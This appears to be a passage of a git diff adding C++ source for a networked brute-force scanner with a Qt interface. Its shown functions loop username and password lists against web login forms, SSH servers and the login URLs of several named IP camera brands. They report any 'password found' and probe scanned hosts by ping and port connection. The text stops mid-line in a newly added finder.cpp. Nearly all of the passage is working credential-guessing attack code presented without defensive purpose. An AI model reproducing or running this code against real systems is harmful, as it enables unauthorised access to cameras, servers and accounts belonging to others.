+ if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; +}; + +#pragma region WF +lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + + char b[16] = {0}; + char request[2048] = {0}; + char argData[256] = {0}; + char recvBuffer[65536] = {0}; + + Connector con; + conSTR CSTR; + int cRes; + int firstCycle = 0; + if(strstri(methodVal, "get") != NULL) + { + int passCounter = 1; + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = firstCycle; j < MaxWFPass; ++j) + { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(request, "GET "); + strcat(request, actionVal); + strcat(request, "?"); + strcat(request, userVal); + strcat(request, "="); + strcat(request, wfLoginLst[i]); + strcat(request, "&"); + strcat(request, passVal); + strcat(request, "="); + strcat(request, wfPassLst[j]); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0"); + strcat(request, "\r\n\r\n"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "501 not implemented") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(i == 0) ++i; + ZeroMemory(request, 2048); + }; + firstCycle = 1; + }; + } + else if(strstri(methodVal, "post") != NULL) + { + int passCounter = 1; + int firstCycle = 0; + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = firstCycle; j < MaxWFPass; ++j) + { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(argData, userVal); + strcat(argData, "="); + strcat(argData, wfLoginLst[i]); + strcat(argData, "&"); + strcat(argData, passVal); + strcat(argData, "="); + strcat(argData, wfPassLst[j]); + + strcpy(request, "POST "); + strcat(request, actionVal); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n"); + strcat(request, "Content-length: "); + strcat(request, itoa(strlen(argData), b, 10)); + strcat(request, "\r\n\r\n"); + + strcat(request, argData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(i == 0) ++i; + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + }; + firstCycle = 1; + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); + }; + + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + + BConInc(); + lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + BConDec(); + + return res; +}; +#pragma endregion + +#pragma region SSH + +int _sshConnect(char *user, char *pass, char *host) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, 128); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +}; +char *_get_ssh_banner(char *ip) +{ + Connector con; + conSTR CSTR; + char recvBuff[256] = {0}; + con._EstablishConnection(ip, 22, "", &CSTR); + if(CSTR.lowerBuff != NULL && CSTR.size != 0) + { + strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); + }; + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + return recvBuff; +}; +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, conSTR *CSTR, char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + res = _sshConnect(user, pass, host); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + char goodStr[512] = {0}; + strcpy(goodStr, userPass); + strcat(goodStr, "@"); + strcat(goodStr, host); + strcat(goodStr, "|+|"); + strcat(goodStr, banner); + int bsz = strlen(goodStr); + CSTR->lowerBuff = new char[bsz + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = bsz; + strncpy(CSTR->lowerBuff, goodStr, bsz); + memset(CSTR->lowerBuff + bsz, '\0', 1); + return 0; + }; + return res; +}; +int _EstablishSSHConnection(char *host, conSTR *CSTR, char *banner) +{ + CSTR->lowerBuff = NULL; + CSTR->size = 0; + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + OnLiner = 1; + SSHConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, CSTR, banner); + if(res == 0) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return 0; + } + else if(res == -2) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return -2; + }; + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + Sleep(500); + }; + SSHConDec(); + OnLiner = 0; + return -1; +}; +#pragma endregion + +#pragma region IPCAMWeb +int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) +{ + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); +#pragma endregion + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + while(xx < 3072) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x <= 0) break; + strncat(recvBuff2, recvBuff, x); + xx += x; + Activity += x; + }; + if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + bool result = true; + for(int i = 0; i < negVector.size(); ++i) + { + if(strstri(recvBuff2, negVector[i]) != NULL) + { + result = false; + break; + }; + }; + + if(result) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + return 1; + }; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; +}; +lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char login[128] = {0}; + char pass[128] = {0}; + char request[1024] = {0}; + OnLiner = 1; + int passCounter = 1; + + std::vector negVector; + if(strcmp(SPEC, "IPC") == 0) + { + negVector.push_back("Invalid"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + negVector.push_back("Access denied"); + negVector.push_back("ErrNoSuchUsr.htm"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + negVector.push_back("0"); + negVector.push_back("-1"); + negVector.push_back("-2"); + negVector.push_back("-3"); + negVector.push_back("-4"); + negVector.push_back("-5"); + negVector.push_back("-6"); + negVector.push_back("-7"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + negVector.push_back("Password Error"); + } + else + { + stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + if(strcmp(loginLst[i], " ") == 0) continue; + ZeroMemory(login, 128); + strcpy(login, loginLst[i]); + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + if(strcmp(passLst[j], " ") == 0) continue; + + ZeroMemory(pass, 128); + strcpy(pass, passLst[j]); + + ZeroMemory(request, 1024); + if(strcmp(SPEC, "IPC") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else if(strcmp(SPEC, "GEO") == 0) + { + strcpy(request, "GET /Login.cgi?username="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, login); + strcpy(lps.pass, pass); + return lps; + }; + } + else if(strcmp(SPEC, "Foscam") == 0) + { + strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, "&cmd=logIn&usrName="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, login); + strcpy(lps.pass, pass); + return lps; + }; + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + strcpy(request, "GET /check_user.html?UserName="); + strcat(request, login); + strcat(request, "&PassWord="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + }; + ++passCounter; + }; + }; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _IPCameraBrute(ip, port, SPEC); + BConDec(); + + return res; +}; +#pragma endregion + +int _pingMyTarget(char *ip) +{ + HANDLE hIcmpFile; + unsigned long ipaddr = INADDR_NONE; + DWORD dwRetVal = 0; + char SendData[32] = "Data Buffer"; + LPVOID ReplyBuffer = NULL; + DWORD ReplySize = 0; + + ipaddr = inet_addr(ip); + + if (ipaddr == INADDR_NONE) + { + stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); + return 0; + } + + hIcmpFile = IcmpCreateFile(); + if (hIcmpFile == INVALID_HANDLE_VALUE) + { + stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); + return 0; + } + + ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); + ReplyBuffer = (VOID*) malloc(ReplySize); + if (ReplyBuffer == NULL) + { + stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); + return 0; + } + + + dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), + NULL, ReplyBuffer, ReplySize, gPingTimeout); + if (dwRetVal != 0) { + PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; + struct in_addr ReplyAddr; + ReplyAddr.S_un.S_addr = pEchoReply->Address; + printf("\tSent icmp message to %s\n", "127.0.0.1"); + if (dwRetVal > 1) + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + else + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); + return 1; + } + else + { + printf("\tCall to IcmpSendEcho failed.\n"); + printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); + if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); + return 0; + }; +}; + +QString strIP; +QString strPort; +const char *buff1 = "GET / HTTP/1.1\r\nHost: "; +const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0\r\n\r\n"; +void Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return; + }; + }; + + char mes[512] = {0}; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + + int strFlag = 0; + strcpy(mes, buff1); + strcat(mes, ip); + strcat(mes, buff2); + int port = atoi(portC); + int cRes; + + if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); + else if(port == 22) + { + char banner[256] = {0}; + strncpy(banner, _get_ssh_banner(ip), 256); + if(strlen(banner) > 0) + { + cRes = _EstablishSSHConnection(ip, &CSTR, banner); + }; + } + else cRes = _EstablishConnection(ip, port, mes, &CSTR); + int size = CSTR.size; + + if(size > 0 && cRes != -1) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + Lexems lx; + lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + strFlag = 1; +}; diff --git a/finder.cpp b/finder.cpp new file mode 100644 index 0000000..827b3e9 --- /dev/null +++ b/finder.cpp @@ -0,0 +1,2829 @@ +#pragma once +#include "STh.h" +#include "resource.h" + +char* __cdecl strstri(char *_Str, const char *_SubStr) +{ + if(_Str != NULL) + { + string _lowStr = toLowerStr(_Str); + string _lowSubStr = toLowerStr(_SubStr); + const char *resChar = strstr(_lowStr.c_str(), _lowSubStr.c_str()); + int offset = resChar - _lowStr.c_str(); + if(offset < 0) return NULL; + else return (char*)(_Str + offset); + }; +}; + +bool gGlobalTrackLocked = false; +char *_findFirstOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) return (char *)(str + i); + }; + }; + + //return str; + return NULL; +}; +char *FindLastOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + int savedPosition = 0; + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) savedPosition = i; + }; + }; + + return (char *)(str + savedPosition); +}; +char *GetCodePage(char *str) +{ + char cdpg[32] = {0}; + if(strstri(str, "\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else if(strstri((char *)(temp2 + strlen("\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset = ")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset = ")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, 